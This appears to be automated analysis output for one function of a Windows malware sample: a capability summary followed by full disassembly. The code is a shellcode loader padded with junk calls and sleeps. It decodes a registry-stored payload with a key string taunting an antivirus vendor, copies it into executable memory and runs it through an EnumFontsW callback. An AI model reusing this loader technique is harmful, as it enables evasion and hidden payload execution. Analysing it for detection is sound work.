Function at 0x140001570
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
call fcn.140001150
test eax, eax
je 0x140001588
call fcn.1400010a0
call section..text
test eax, eax
je 0x140001596
call fcn.140001200
call fcn.1400010a0
test eax, eax
je 0x1400015a4
call fcn.140001150
call fcn.140001200
test eax, eax
je 0x1400015b2
call fcn.1400010a0
call fcn.1400010a0
test eax, eax
je 0x1400015c0
call section..text
call fcn.140001150
test eax, eax
je 0x1400015ce
call fcn.140001200
call fcn.140001200
test eax, eax
je 0x1400015dc
call fcn.1400010a0
call fcn.1400010a0
test eax, eax
je 0x1400015ea
call section..text
call fcn.1400012b0
test eax, eax
je 0x1400015f8
call fcn.140001360
call fcn.140001360
test eax, eax
je 0x140001606
call fcn.140001410
call fcn.140001410
test eax, eax
je 0x140001614
call fcn.1400014c0
call fcn.1400014c0
test eax, eax
je 0x140001622
call fcn.1400012b0
call section..text
test eax, eax
je 0x140001630
call fcn.1400012b0
call fcn.1400010a0
test eax, eax
je 0x14000163e
call fcn.140001360
call fcn.140001150
test eax, eax
je 0x14000164c
call fcn.140001410
call fcn.140001200
test eax, eax
je 0x14000165a
call fcn.1400014c0
call fcn.140001200
test eax, eax
je 0x140001668
call fcn.1400010a0
call fcn.1400010a0
test eax, eax
je 0x140001676
call fcn.140001150
call fcn.140001150
test eax, eax
je 0x140001684
call section..text
call section..text
test eax, eax
je 0x140001692
call fcn.1400010a0
call fcn.140001150
test eax, eax
je 0x1400016a0
call fcn.1400010a0
call section..text
test eax, eax
je 0x1400016ae
call fcn.140001200
call fcn.1400010a0
test eax, eax
je 0x1400016bc
call fcn.140001150
call fcn.140001200
test eax, eax
je 0x1400016ca
call fcn.1400010a0
call fcn.1400012b0
test eax, eax
je 0x1400016d8
call fcn.140001360
call fcn.140001360
test eax, eax
je 0x1400016e6
call fcn.140001410
call fcn.140001410
test eax, eax
je 0x1400016f4
call fcn.1400014c0
call fcn.1400014c0
test eax, eax
je 0x140001702
call fcn.1400012b0
call fcn.1400010a0
test eax, eax
je 0x140001710
call fcn.140001360
call fcn.140001150
test eax, eax
je 0x14000171e
call fcn.140001410
call fcn.140001200
test eax, eax
je 0x14000172c
call fcn.1400014c0
call fcn.1400012b0
test eax, eax
je 0x14000173a
call section..text
mov dword [rsp + 0x3c], 0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400679d8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x30], 0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400679e8]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.1400025a4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x68], rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400679f0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.1400025a4
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], 0
jmp 0x140001841
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
cmp qword [rsp + 0x40], rax
jae 0x140001873
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
mov byte [rax], cl
jmp 0x140001834
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x3c], eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.huorongqnmlb
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x48], 0xffffffffffffffff
inc qword [rsp + 0x48]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
cmp byte [rax + rcx], 0
jne 0x1400018b3
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x38], 0
jmp 0x1400018f0
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x3c]
cmp dword [rsp + 0x34], eax
jae 0x14000196c
movsxd rax, dword [rsp + 0x34]
mov qword [rsp + 0x98], rax
movsxd rcx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x70]
movsx ecx, byte [rdx + rcx]
mov eax, ecx
cdq
mov ecx, 0x6d9
idiv ecx
mov eax, edx
add eax, 0x4f
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x98]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
test eax, eax
jne 0x140001967
mov dword [rsp + 0x38], 0
jmp 0x1400018e6
call section..text
test eax, eax
je 0x14000197a
call fcn.140001150
call fcn.140001200
test eax, eax
je 0x140001988
call section..text
call section..text
test eax, eax
je 0x140001996
call fcn.140001200
call fcn.140001150
test eax, eax
je 0x1400019a4
call fcn.140001200
call fcn.140001200
test eax, eax
je 0x1400019b2
call fcn.1400010a0
call fcn.1400010a0
test eax, eax
je 0x1400019c0
call fcn.140001150
call fcn.140001150
test eax, eax
je 0x1400019ce
call section..text
call section..text
test eax, eax
je 0x1400019dc
call fcn.1400010a0
call fcn.1400012b0
test eax, eax
je 0x1400019ea
call fcn.140001360
call fcn.140001360
test eax, eax
je 0x1400019f8
call fcn.140001410
call fcn.140001410
test eax, eax
je 0x140001a06
call fcn.1400014c0
call fcn.1400014c0
test eax, eax
je 0x140001a14
call fcn.1400012b0
call fcn.1400010a0
test eax, eax
je 0x140001a22
call fcn.140001360
call fcn.140001150
test eax, eax
je 0x140001a30
call fcn.140001410
call fcn.140001200
test eax, eax
je 0x140001a3e
call fcn.1400014c0
call fcn.1400012b0
test eax, eax
je 0x140001a4c
call section..text
call fcn.1400010a0
test eax, eax
je 0x140001a5a
call section..text
call fcn.140001150
test eax, eax
je 0x140001a68
call fcn.140001200
call fcn.140001200
test eax, eax
je 0x140001a76
call fcn.1400010a0
call fcn.1400010a0
test eax, eax
je 0x140001a84
call section..text
call section..text
test eax, eax
je 0x140001a92
call fcn.140001150
call fcn.140001200
test eax, eax
je 0x140001aa0
call section..text
call section..text
test eax, eax
je 0x140001aae
call fcn.140001200
call fcn.140001150
test eax, eax
je 0x140001abc
call fcn.140001200
call fcn.1400012b0
test eax, eax
je 0x140001aca
call fcn.140001360
call fcn.140001360
test eax, eax
je 0x140001ad8
call fcn.140001410
call fcn.140001410
test eax, eax
je 0x140001ae6
call fcn.1400014c0
call fcn.1400014c0
test eax, eax
je 0x140001af4
call fcn.1400012b0
call section..text
test eax, eax
je 0x140001b02
call fcn.140001410
call fcn.1400010a0
test eax, eax
je 0x140001b10
call fcn.1400014c0
call fcn.140001150
test eax, eax
je 0x140001b1e
call fcn.1400012b0
call fcn.140001200
test eax, eax
je 0x140001b2c
call fcn.140001360
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x3c]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x3c]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x50]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, qword [rsp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0xa8
pop rdi
pop rsi
ret